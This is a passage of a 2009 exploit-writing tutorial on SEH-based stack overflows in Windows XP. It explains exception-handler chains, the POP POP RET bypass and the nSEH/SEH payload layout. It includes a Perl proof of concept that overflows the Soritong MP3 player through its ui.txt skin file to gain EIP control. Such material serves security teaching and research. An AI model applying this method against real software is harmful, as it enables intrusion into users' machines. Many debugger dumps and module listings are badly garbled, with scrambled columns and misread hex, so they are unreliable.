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Exploit writing tutorial part 3 : SEH Based Exploits

Corelan Team (corelanc0d3r) · Saturday, July 25th, 2009

In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to the shellcode. The example we have used allowed us to directly overwrite EIP and we had a pretty large buffer space to host our shellcode. On top of that, we had the ability to use multiple jump techniques to reach our goal. But not all overflows are that easy.


Today, we'll look at another technique to go from vulnerability to exploit, by using exception handlers.

What are exception handlers ?

An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an exception. A typical exception handler looks like this :

{ //run stuff. If an exception occurs, go to <catch> code
}
catch
{ // run stuff when exception occurs
}


A quick look on the stack on how the try & catch blocks are related to each other and placed on the stack :



(Note : "Address of exception handler" is just one part of a SEH record – the image above is an abstract representation, merely showing the various components)


Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you'll see a "xxx has encountered a problem and needs to close" popup. This is often the result of the default handler kicking in. It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort. When using language EH's, the necessary links and calls to the exception handlers cannot process the exception, the underlying OS. (and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)). So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).

In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved on the stack (for each code block). Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame. In other words : Each function/procedure gets a stack frame. If an exception handler is implement in this function/procedure, the exception handler gets its own stack frame. Information about



a pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception)
 a pointer, the address of the actual code of the exception handler. (SE Handler)

Simple stack view on the SEH chain components :



At the top of the main data block (the data block of the application's "main" function, or TEB (Thread Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. This SEH chain is often called the FS:[0] chain as well.

So, on Intel machines, when looking at the disassembled SEH code, you will see an instruction to move DWORD ptr from FS:[0]. This ensures that the exception handler is set up for the thread and will be able to catch errors when they occur. The opcode for this instruction is 64A100000000. If you cannot find this opcode, the application/thread may not have exception handling at all.

Alternatively, you can use a OllyDBG plugin called OllyGraph to create a Function Flowchart.

The bottom of the SEH chain is indicated by FFFFFFF. This will trigger an improper termination of the program (and the OS handler will kick in) Quick example : compile the following source code (sehtest.exe) and open the executable in windbg. Do NOT start the application yet, leave it in a paused state :

```
#include<stdio.h>
#include<stdio.h>
#include<stdio.h>
#include<stdio.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
printf("Application launched");
__try {
    strcpy(temp,argv[1]);
    } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
```

look at the loaded modules

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ModLoad: ModLoad:	7c900000	0040c000 7c9b2000	<pre>c:\sploits\seh\lcc\sehtest.exe ntdll.dll c:\WINDOWS\system32\kernel32_dll</pre>
ModLoad: ModLoad: ModLoad: ModLoad:	7c900000 7c800000 7e410000	7c9b2000 7c8f6000 7e4a1000 77f59000	

The application sits between 00400000 and 0040c000 Search this area for the opcode :

```
0:000> s 00400000 l 0040c000 64 A1
```

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00401225 64 al 00 00 00 05 589-e5 6a ff 68 lc a0 40 00 d....U.j.h..@. 0040133f 64 al 00 00 00 00 50 64-89 25 00 00 00 81 ec d....Pd.%.....

This is proof that an exception handler is registered. Dump the TEB :

0:000> d fs:[0]																
003b:00000000	0c	fd	12	00	00	00	13	00-00	e0	12	00	00	00	00	00	
003b:00000010 0	00	1e	00	00	00	00	00	00-00	f0	fd	7f	00	00	00	00	
003b:00000020 8	84	0d	00	00	54	0c	00	00-00	00	00	00	00	00	00	00	T
003b:0000030 0	00	d0	fd	7f	00	00	00	00-00	00	00	00	00	00	00	00	
003b:00000040 0	00	00	00	00	00	00	00	00-00	00	00	00	00	00	00	00	
003b:00000050 0	00	00	00	00	00	00	00	00-00	00	00	00	00	00	00	00	
								00-00								
003b:00000070 0	00	00	00	00	00	00	00	00-00	00	00	00	00	00	00	00	
0:000> !exchain																
0012fd0c: ntdll!	!st	rch	r+1	L13	(70	:90e	920	9)								

The pointer points to 0x0012fd0c (begin of SEH chain). When looking at that area, we see :

0:000> d	0012	2fd(Эc													
0012fd0c	ff	ff	ff	ff	20	e9	90	7c-30	b0	91	7c	01	00	00	00	
0012fd1c																W 0
0012fd2c	00	00	00	00	17	00	01	00-00	00	00	00	00	00	00	00	
0012fd3c								00-00								
0012fd4c								f8-18								.0\$>0<.
0012fd5c								00-00								./
0012fd6c								00-00								
0012fd7c	01	00	00	f4	00	00	00	00-00	00	00	00	00	00	00	00	

ff ff ff ff indicates the end of the SEH chain. That's normal, because the application is not started yet. (Windbg is still paused)

If you have the Ollydbg plugin Ollygraph installed, you could open the executable in ollydbg and create the graph, which should indicate if an exception handler is installed or not :

·
👬 WinGraph32 - Graph of 401225
File View Zoom Move Help
J qqxxx+ + COE V
401225 :
MOV EAX, DWORD PTR FS:[0]
PUSH EBP
MOV EBP, ESP
PUSH -1 PUSH sehtest.0040A01C
PUSH sehtest.0040109A ; Entry address
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,10
PUSH EBX
PUSH ESI
PUSH EDI
MOV DWORD PTR SS:[EBP-18],ESP
MOV DWORD PTR DS:[40A020],sehtest.00401219
MOV DWORD PTR SS:[EBP-4],0
LEA EAX, DWORD PTR SS:[EBP-4]
MOV DWORD PTR DS:[40A038],EAX
PUSH EAX

When we run the application (F5 or 'g'), we see this :

0:000> d fs:[0]

http://www.corelan.be:8800

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*** ERROR:	Svm	ค่อ1	fil	e c	011	d n	٥t	he	four	hr	п	efa	u1+	ed	tο	evi	nort	+ <	: vm	ho	l c	fr	hr	
003b:00000									00-0															
003b:00000									00-0															
003b:00000									00-0				00		00									
003b:00000	030	00	dÕ	fd	7f	00	00	00	00-0	00	00	00	00	00	00	00	00							
003b:00000	040	aÖ	06	85	e2	00	õõ	ÕÕ	00-0	90	00	00	00	00	00	ÕÕ	ÕÕ							
003b:00000	050	00	00	00	00	00	00	00	00-0	90	00	00	00	00	00	00	00							
003b:00000	060	00	00	00	00	00	00	00	00-0	90	00	00	00	00	00	00	00							
003b:00000	070	00	00	00	00	00	00	00	00-0	90	00	00	00	00	00	00	00							
0:000> d 0	012f	f40																						
0012ff40	b0 f	f 12	00	d8	9a	83	70	:-e8	са	81	7c	00	00	00	00									
	64 f													e8	77	' (1t	. & .					W	
	ff f														00									
	4a f														00		J.c							
	00 0								12						00									
	00 0								f7					fd			• • • •							
	06 0								ff															
0012ffb0	e0 f	T 12	2 00	9a	10	40	06) - TC	a⊍	40	00	00	00	00	00)			.d.		(d.			

The TEB for the main function is now set up. The SEH chain for the main function points at 0x0012ff40, where the exception handler is listed and will point to the exception handler function (0x0012ffb0)

m	Oliybbg,	you c	.an see	the sen	Chain	nore	easily :	

😽 SEH cl	ain of main thread					
Address 0012FF40 0012FF80	SE handler kernel32.7C839408 sehtest.8848189A kernel32.7C839408					

(There is a similar view in Immunity Debugger - just click "View" and select "SEH Chain") Stack :

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730R1639 RETURN to CRTOLL.730R1639 6 0012FF80 Pointer to next SEN record 7C83908 SE handler 7C81CRE8 kernel32.7C81CRE8 00000000 0012FF64 00000000 7728F3800 RPCRT4.77E8F380 FFFFFFFF 0012FC0 012FF40 RETURN to kernel32.70810826 from kernel32.70 0012FFC0 73D92028 00000000 FFFFFFFF RETURN to CRTDLL.73D92028 from kernel32.Exit 7FFDB000 73D91F6D RETURN to CRTDLL.73D91F6D from CRTDLL.73D91F 4012CA RETURN to sehtest. (ModuleEntryPoint)+005 fro 8888 ntdll.7C910228 Pointer to next SEH record SE handler sehtest.0040A01C RETURN to kernel32.70817077 ntdll.70910228 7FFDB000 80548688 0012FFC8 8183EB38 FFFFFFFF End of SEH chain 7C839AD8 SE handler 7C817898 kernel32.7C817888

Here we can see a pointer to our Exception Handler function ExceptionHandler() (0x0040109A)


Anyways, as you can see in the explanation above the example, and in the last screenshot, exception handlers are connected/linked to each other. They form a linked list chain on the stack, and sit relatively close to the bottom of the stack. (SEH chain). When an exception occurs, Windows ntdll.dll kicks in, retrieves the head of the SEH chain (sits at the top of TEB/TIB remember), walks through the list and tries to find the suitable handler. If no handler is found the default Win32 handler will be used (at the bottom of the stack, the one after FFFFFFF).

We see the first SE Handler record at 0012FFF40. The next SEH address points to the next SEH record (0012FFB0). The current handler points at 7C839AD8. It looks like this is some kind of OS handler (the pointers points into an OS module)

Then, the second SEH record entry in the chain (at 0012FFB0) has the following values : next SEH points to 0012FFE0. The handler points at 0040109A. This address is part of the executable, so it looks like this is an application handler.

Finally, the last SEH record in the chain (at 0012FFE0) has FFFFFFFF in nseh. This means that this is the last entry in the chain. The handler points at 7C839AD8, which is an OS handler again.

So, putting all pieces together, the entire SEH chain looks like this :



You can read more about SEH in Matt Pietrek's excellent article from 1997 : http://www.microsoft.com/msj/0197/exception/exception.aspx

Changes in Windows XP SP1 with regards to SEH, and the impact of GS/DEP/SafeSEH and other protection mechanisms on exploit writing.

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In order to be able to build an exploit based on SEH overwrite, we will need to make a distinction between Windows XP pre-SP1 and SP1 and up. Since Windows XP SP1, before the exception handler is called, all registers are XORed with each other, making them all point to 0×00000000, which

complicates exploit building (but does not make it impossible). That means that you may see that one or more registers point at your payload at the first chance exception, but when the EH kicks in, these registers are cleared again (so you cannot jump to them directly in order to execute your shellcode). We'll talk about this later on.

DEP & Stack Cookies

On top of that, Stack Cookies (via C++ compiler options) and DEP (Data Execution Prevention) were introduced (Windows XP SP2 and Windows 2003) . will write an entire post on Stack cookies and DEP. In sort, you only need to remember that these two techniques can make it significantly harder to build exploits.

SafeSEH

Some additional protection was added to compilers, helping to stop the abuse of SEH overwrites. This protection mechanism is active for all modules that are compiled with /safeSEH

Windows 2003

Under Windows 2003 server, more protection was added. I'm not going to discuss these protections in this post (check tutorial series part 6 for more info), because things would start to get too complex at this point. As soon as you mastered this tutorial, you will be ready to look at tutorial part 6 :-)

XOR, SafeSEH,.... but how can we then use the SEH to jump to shellcode ?

There is a way around the XOR 0×0000000 protection and the SafeSEH protections. Since you cannot simply jump to a register (because registers are xored), a call to a series of instructions in a dll will be needed.

(You should try to avoid using a call from the memory space of an OS specific dll, but rather use an address from an application dll instead in order to make the exploit reliable (assuming that this dll is not compiled with safeSEH). That way, the address will be *almost* always the same, regardless of the OS version. But if there are no DLL's, and there is a non safeseh OS module that is loaded, and this module contains a call to these instructions, then it will work too.)

The theory behind this technique is : If we can overwrite the pointer to the SE handler that will be used to deal with a given exception, and we can cause the application to throw another exception (a forced exception), we should be able to get control by forcing the application to jump to your shellcode (instead of to the real exception handler function). The series of instructions that will trigger this, is POP POP RET. The OS will understand that the exception handling routine has been executed and will move to the next SEH (or to the end of the SEH chain). The pointer to this instruction should be searched for in loaded dll's/exe's, but not in the stack (again, the registers will be made unusable). (You could try to use ntdll.dll or an application-specific dll)


One quick sidenote : there is an excellent Ollydbg plugin called OllySSEH, which will scan the process loaded modules and will indicate if they were compiled with SafeSEH or not. It is important to scan the dll's and to use a pop/pop/ret address from a module that is not compiled with SafeSEH. If you are using Immunity Debugger, then you can use the pvefindaddr plugin to look for seh (p/p/r) pointers. This plugin will automatically filter invalid pointers (from safeseh modules etc) and will also look for all p/p/r combinations. I highly recommend using Immunity Debugger and pvefindaddr.

Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE Handler). The pop pop ret sequence will make sure this code gets executed

In other words, the payload must do the following things

- 2.3.4.

cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won't kick in overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode) overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten "pointer to next SEH record" will jump to it).



As explained at the top of this post, there could be no exception handlers in the application (in that case, the default OS Excecption Handler takes over, and you will have to overwrite a lot of data, all the way to the bottom of the stack), or the application uses its own exception handlers (and in that case you can choose how far 'deep' want to overwrite). A typical payload will look like this

[Junk][nSEH][SEH][Nop-Shellcode]

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Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop ret

Make sure to pick a universal address for overwriting the SEH. Ideally, try to find a good sequence in one of the dll's from the application itself. Before looking at building an exploit, we'll have a look at how Ollydbg and windbg can help tracing down SEH handling (and assist you with building the correct payload)

The test case in this post is based on a vulnerability that was released last week (july 20th 2009).

See SEH in action - Ollydbg

When performing a regular stack based buffer overflow, we overwrite the return address (EIP) and make the application jump to our shellcode. When doing a SEH overflow, we will continue overwriting the stack after overwriting EIP, so we can overwrite the default exception handler as well. How this will allow us to exploit a vulnerability, will become clear soon.

Let's use a vulnerability in Soritong MP3 player 1.0, made public on july 20th 2009. You can download a local copy of the Soritong MP3 player here :


I Soritong MP3 Player (1.7 MiB, 609 hits)

The vulnerability points out that an invalid skin file can trigger the overflow. We'll use the following basic perl script to create a file called UI.txt in the skin\default folder :

\$uitxt = "ui.txt"; my \$junk = "A" x 5000 ; open(myfile,">\$uitxt") ; print myfile \$junk;

Now open soritong. The application dies silently (probably because of the exception handler that has kicked in, and has not been able to find a working SEH address (because we have overwritten the address).

First, we'll work with Ollydbg/Immunity to clearly show you the stack and SEH chain . Open Ollydbg/Immunity Debugger and open the soritong.exe executable. Press the "play" button to run the application. Shortly after, the application dies and stops at this screen :



The application has died at 0x0042E33. At that point, ESP points at 0x0012DA14. Further down the stack (at 0012DA6C), we see FFFFFFF, which looks likeindicates the end of the SEH chain. Directly below 0x0012DA14, we see 7E41882A, which is the address of the default SE handler for the application. This address sits in the address space of user32.dll.

knowledge is not an object, it's a flow

Save the	environment -	don't i	print thi	s document !

E Execu	table mod	lules				
Base	Size	Entry	Nane	File version	Path	
50898888	888998888	5D0934BA	COMCTL32	5.82 (xpsp.8884	C:\WINDOWS\s/	
71880000	000000000	71AA1638	WS2HELP	5.1.2600.5512 (C: \WINDOWS\s;	
71AB0000	00017000	71AB1273	WS2_32	5.1.2600.5512 (1	C: \WINDOWS\s!	
71AD0000	66663666	71AD1039	MSOCK32	5.1.2600.5512 (1	C: \WINDOWS\s!	Loading Skin0
72D10000	000000000	72012575	nsacn32	5.1.2600.0 (xpc	C: \WINDOWS\s!	Loading Skino
738888888	00009000	720243C0 73885485	udnaud WINSPOOL	5.1.2600.5512 (C: WINDOWS S	
74720000	00026000	74721395	HSCTF	5.1.2600.5512 (1	C1 VUTNDOUS VS	
75500000	0002E000	755D9FE1	nsctfine	5.1.2600.5512 (C+\MINDOWS\40	sten32\nsctfine.ime
76398888	00010000	76391208	IMM32	5.1.2600.5512 (sten32\IMM32.DLL
763888888	00049000	763B1619	COMDLG32	6.00.2900.5512		sten32\COMDLG32.dll
76848888	00020000	76B42B61	UINMM	5.1.2600.5512 (sten32\WINMM.dll
76030000	0002E000	76C31529	WINTRUST	5.131.2600.5512	C: \WINDOWS\sy	stem32\WINTRUST.dll
76C90000	00028000	76C9126D	INAGEHLP	5.1.2600.5512 (1		sten32\IMAGEHLP.dll
76E88888	0000E000	76E81BRD	rtutils	5.1.2600.5512 (stem32\rtutils.dll
76EB0000	0002F000	76EB13A0	TAP132	5.1.2600.5512 (sten32\TAPI32.dll
77120000	00088000	77121560	OLEAUT32	5.1.2600.5512		sten32\OLEAUT32.dll
774E0000	00130000	773D4256 774FD8B9	OLE32	6.0 (xpsp.08041) 5.1.2600.5512 (nSxS\x86_Microsoft.W stem32\OLE32.dll
77090000	00095000	77981632	CRVPT32	5.131.2600.5512		stew32\CRVPT32.dll
77820000	00012000	77823399	MSASN1	5.1.2600.5512 (1		sten32\MSASN1.dll
77BD8888	00007000	77803380	nidinap	5.1.2600.5512 (sten32\nidimap.dll
77BE0000	00015000	77BE1292	MSACM3_1	5.1.2600.5512 (sten32\MSACM32.dll
77000000	000000000	77001135	VERSION	5.1.2600.5512 (stem32\UERSION.dll
77C10000	00053000	77C1F2R1	Revort	7.0.2600.5512 (stem32\msvcrt.dll
77008888	866389696	77007108	ADVAPI32	5.1.2600.5755 (:		stem32\ADUAPI32.dll
77E70000	00092000	77E7628F	RPCRT4	5.1.2600.5795 (stem32\RPCRT4.dll
77F10000	00049000	77F16587	GDI32	5.1.2600.5698 (stem32\GDI32.dll
77F68888 77FE8888	00076000 00011000	77F651FB 77FE2126	SHLWAPI Secur32	6.00.2900.5512		stem32\SHLWAPI.dll
70800000	00011000 000F6000	7C80B64E	securaz kernel32	5.1.2600.5753 (stem32\Secur32.dll stem32\kernel32.dll
70988888	0000-0000	70912048		5.1.2600.5755 (stem32\ntdll.dll
		7C9E74E6		6 88 2988 5622		sten32 SHELL 32. dll
7E410000		7E41B217	USER32			stem32\USER32.dll

A couple of addresses higher on the stack, we can see some other exception handlers, but all of them also belong to the OS (ntdll in this case). So it looks like this application (or at least the function that was called and caused the exception) does not have its own exception handler routine.

00100110	00000100	
0012DA14	ØØAAECAØ	
0012DA18	000000000	
0012D01C	00000000	
00120010		
0012DH20	00000000	
0012DR24	0012DA94	
0012DA28	00000000	
0012D02C	0015C418	UNICODE "nealrpo"
00120030	00000000	
001200004	000000000	
0012DH34	000000000	
0012DH38	00000000	
0012D83C	00000000	
0012DA40	70948894	RETURN to ntdll.7C948894 from ntdll.7C95A007
88120844	70912867	RETURN to ntdll.7C948894 from ntdll.7C95A007 RETURN to ntdll.7C912867 from ntdll.7C90E906
MAIZUNAS	0012EB00	
00120040	000000000	
0012DH4C	000000000	
0012DH50	00F8A001	
0012DA54	00000001	
0012DA58	0012DA24	
00120018 00120018 00120010 00120020 00120020 00120020 00120020 00120020 00120020 00120020 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 00120040 001200450 001200450 001200460 001200450	7C94B871	RETURN to ntdll.7C94B871 from ntdll.RtlFillMemoryUlong
0012DH60	0012EDD4	
88120964	7F44948F	USER32.7E44048F
0000000000	1 10 10 10	A CHARTER FOR THE TAX THE

When we look at the threads (View - Threads) select the first thread (which refers to the start of the application), right click and choose 'dump thread data block', we can see the Pointer to the SEH chain :

Thre								
t 054	Entry Da 8 88481888 77 8 7C8186F9 7F	TOFEEE ER	st error ROR_SUCCESS (@ ROR_SUCCESS (@		Status Active Active	Priority 1 32 + 0 32 + 15	0.0901 + 0.0000 +	
1000			11 0	1.00				
СР			nodule Sor					
427	E25 . 81	D8415 E40 R 11	DFFI LEA	SHORT Sou	I PIR S	SELEBP+E AR422ERE	DX-210	Re
342 342	T Threa	ds						
42 142	Ident	Entry	Data blo					SI
342	00000540				SUCCES	S (00006 S (00006		A(
342				-				
342 342	D Dump	- 7FFDF0	007FFDFF	FF				
341 341			(Pointer					
341 341	7FFDF004 7FFDF008	00130000	(Top of 1 (Bottom)	thread's of thread	stack) 's stac	:k)		
342		000000000 00001E00						
342 342	7FFDF014	00000000						
3	7FFDF018 7FFDF01C	7FFDF000						
		00000DAC 00000540		ID)				
đđi	7FFDF028 7FFDF02C	000000000000000000000000000000000000000		to Threa	d Loopl	Ctorner.	-)	
345	7FFDF030	7FFD6000					e)	
345 345		000000000000000000000000000000000000000		ror = ERR	OR_SUCC	ESS)		
345	7FFDF03C	00000000 E156F5F0						
345	11101040	E100F0F6	1					

So the exception handler worked. We caused an exception (by building a malformed ui.txt file). The application jumped to the SEH chain (at 0x0012DF64).

Go to "View" and open "SEH chain"

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🔆 OllyD	bg - S	oriTong	.ехе - [(:PU - mai	in thread
C File	View	Debug	Plugins	Options	Window
	Me He Th	ecutable mory	modules	Alt+L Alt+E Alt+M	SoriTo SoriTo PTR DS SoriT PTR DS PTR S
00422E3 00422E3 00422E4 00422E4 00422E4 00422E4 00422E4 00422E4 00422E4	CP	ndles U Hichain Iches		Alt+C Ctrl+P	/TE PTR K,DL 30 SoriTo 34 SoriTo 51

The SE handler address points to the location where the code sits that needs to be run in order to deal with the exception.

<mark>x</mark> SEH cl	nain of main thread
Address	SE handler 41414141
0012FD64	41414141

The SE handler has been overwritten with 4 A's. Now it becomes interesting. When the exception is handled, EIP will be overwritten with the address in the SE Handler. Since we can control the value in the handler, we can have it execute our own code.

See SEH in action - Windbg

When we now do the same in windbg, this is what we see : Close Ollydbg, open windbg and open the soritong.exe file.

٧Ę	VinDb	g:6.11	.0001.40	04 X86				
File	Edit	View	Debug	Window	Help			
0	pen Si	ource F	ie	Ct	1+0	35		
C	lose O	urrent \	Window	Ctrl+F4				
¢	pen E	ecutat	sle	Ct.	I+E			
A	ttach t	to a Pro	cess	F6				
Open Crash Dump				Ct				
				sion Ct	1.0			

The debugger first breaks (it puts a breakpoint before executing the file). Type command g (go) and press return. This will launch the application. (Alternatively, press F5)

晃 "C:\Program Files\SoriTong\SoriTong.exe" - WinDbg:6.11.0001.404 Х86	
File Edit Wew Debug Window Help	
😹 🖇 🛍 🖬 📽 🕷 👘 🕐 🕂 🕂 🖉 🗆 💭 🖓 🖬 🗆 🖾	101 AA 119
Command	
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86	
Copyright (c) Microsoft Corporation. All rights reserved.	
CommandLine: "C:\Program Files\SoriTong\SoriTong.exe" Symbol search path is: *** Invalid ***	
Syndol search path is: ••• Invalid •••	***
 Symbol loading may be unreliable without a symbol search path. 	•
 Use .synfix to have the debugger choose a symbol path. After setting your symbol path. use .reload to refresh symbol locations 	:
 After setting your symbol path, use .reload to refresh symbol locations 	
Executable search path is:	
ModLoad: 00400000 004de000 SoriTong.exe	
fodLoad: 7c900000 7c9b2000 ntdl1.dl1 fodLoad: 7c800000 7c8f6000 C:\VINDOVS\system32\kernel32.dl1	
ModLoad: 77dd0000 77e6b000 C:\VINDOVS\system32\ADVAPI32.dl1	
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll	
ModLoad: 77fe0000 77ff1000 C:\VINDOVS\system32\Secur32.dl1	
<pre>6odLoad: 77c00000 77c00000 C:\VINDOVS\system32\VERSION.dl1 6odLoad: 73000000 73026000 C:\VINDOVS\system32\VINSPOOL.DRV</pre>	
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dl1	
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dl1	
<pre>fodLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll</pre>	
fodLoad: 5d090000 5d12a000 C:\VINDOV5\system32\COMCTL32.d11	
<pre>fodLoad: 763b0000 763f9000 C:\VINDOVS\system32\COMDLG32.dl1 fodLoad: 7c9c0000 7d1d7000 C:\VINDOVS\system32\SHELL32.dl1</pre>	
fodLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll	
<pre>6odLoad: 76b40000 76b6d000 C:\VINDOVS\system32\VINMM.dll</pre>	
fodLoad: 774e0000 7761d000 C:\WINDOWS\system32\OLE32.d11	
<pre>(odLoad: 77120000 771ab000 C:\VINDOW5\system32\OLEAUT32.dll c54.828): Break instruction exception - code 80000003 (first chance)</pre>	
ax=00241eb4 ebx=7ffdc000 ecx=00000001 edx=00000002 esi=00241f48 edi=0024	1eb4
hip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na p	
s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=0000	
*** ERROR: Symbol file could not be found. Defaulted to export symbols found atdll/DbgBreakPoint:	or ntdii.dll -
7c90120e cc int 3	
0:000 y g	
100.000 540	: <local> Proc 000:c54 Th</local>

Soritong mp3 player launches, and dies shortly after. Windbg has catched the "first change exception". This means that windbg has noticed that there was an exception, and even before the exception could be handled by the application, windbg has stopped the application flow :

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 ModLost:
 177340000
 77443000
 C: VINDOWS-System32-VASC ModLost:
 C: VINDOWS-System32-VASC ModLos 1440

The message states "This exception may be expected and handled".

Look at the stack :

00422e33	8810)				mov	/	byte	e pt	tr	[ea>	(],(11			ds:0023:00130000=41
0:000> d	esp															
0012da14	3c	eb	aa	00	00	00	00	00-00	00	00	00	00	00	00	00	<
								00-e0								
0012da34																
								00-00								g(.
								00-71								\$q
								7e-ff								D~0.A~*.A~
																{.B~.A]
0012da84	94	da	12	00	bf	fe	ff	ff-b8	f0	12	00	b8	a5	15	00	

fffffff here indicates the end of the SEH chain. When we run !analyze -v, we get this :

FAULTING_IP: SoriTong!TmC13_5+3ea3 00422e33 8810 mov byte ptr [eax],dl EXCEPTION RECORD: ffffffff -- (.exr 0xfffffffffffffffffff ExceptionAddress: 00422e33 (SoriTong!TmCl3_5+0x00003ea3) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 00130000 Attempt to write to address 00130000 FAULTING_THREAD: 00000a4c PROCESS NAME: SoriTong.exe ADDITIONAL_DEBUG_TEXT: Use '!findThebuild' command to search for the target build information. If the build information is available, run '!findThebuild -s ; .reload' to set symbol path and load symbols. FAULTING_MODULE: 7c900000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000 ERROR_CODE: (NTSTATUS) 0xc00000005 - The instruction at0x%08lx" referenced memory at"0x%08lx" . The memory could not b&%s". EXCEPTION_CODE: (NTSTATUS) 0xc00000005 - The instruction at0x%08lx" referenced memory at"0x%08lx" . The memory could not be"%s". EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 00130000 WRITE ADDRESS: 00130000 FOLLOWUP_IP: SoriTong!TmC13_5+3ea3 00422e33 8810 byte ptr [eax],dl mov BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE IP_MODULE_UNLOADED: ud+41414140 41414141 ?? ??? LAST_CONTROL_TRANSFER: from 41414141 to 00422e33 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmCl3_5+0x3ea3 0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x414141410

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0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd48 4141414 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd54 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd54 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

. . . (removed some of the lines)

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffbc

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME: SoriTong.exe

STACK_COMMAND: ~0s ; kb

BUCKET_ID: WRONG_SYMBOLS

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5

Followup: MachineOwner

The exception record points at ffffffff, which means that the application did not use an exception handler for this overflow (and the "last resort" handler was used, which is provided for by the OS). When you dump the TEB after the exception occurred, you see this :

=> pointer to the SEH chain, at 0x0012FD64. That area now contains A's

0:000> d	0012	2fd(64													
0012fd64	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fd74	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fd84	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fd94								41-41								ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fda4								41-41								ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fdb4								41-41								ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fdc4								41-41								ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
0012fdd4	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ

The exception chain says :

```
0:000> !exchain
0012fd64: <Unloaded_ud.drv>+41414140 (4141414)
Invalid exception sTack at 41414141
```

=> so we have overwritten the exception handler. Now let the appliation catch the exception (simply type 'g' again in windbg, or press F5) and let' see what happens :

```
0:000>g
(bf0.a4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=4141411 edx=7c9032bc esi=00000000 edi=000000000
eip=4141414 esp=0012d644 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010246
<Unloaded_ud.drv>+0x41414140:
41414141 ?? ???
```

eip now points to 41414141, so we can control EIP.

The exchain now reports

0:000> !exchain 0012d658: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc) 0012fd64: <Unloaded_ud.drv>+41414140 (41414141) Invalid exception sTack at 41414141

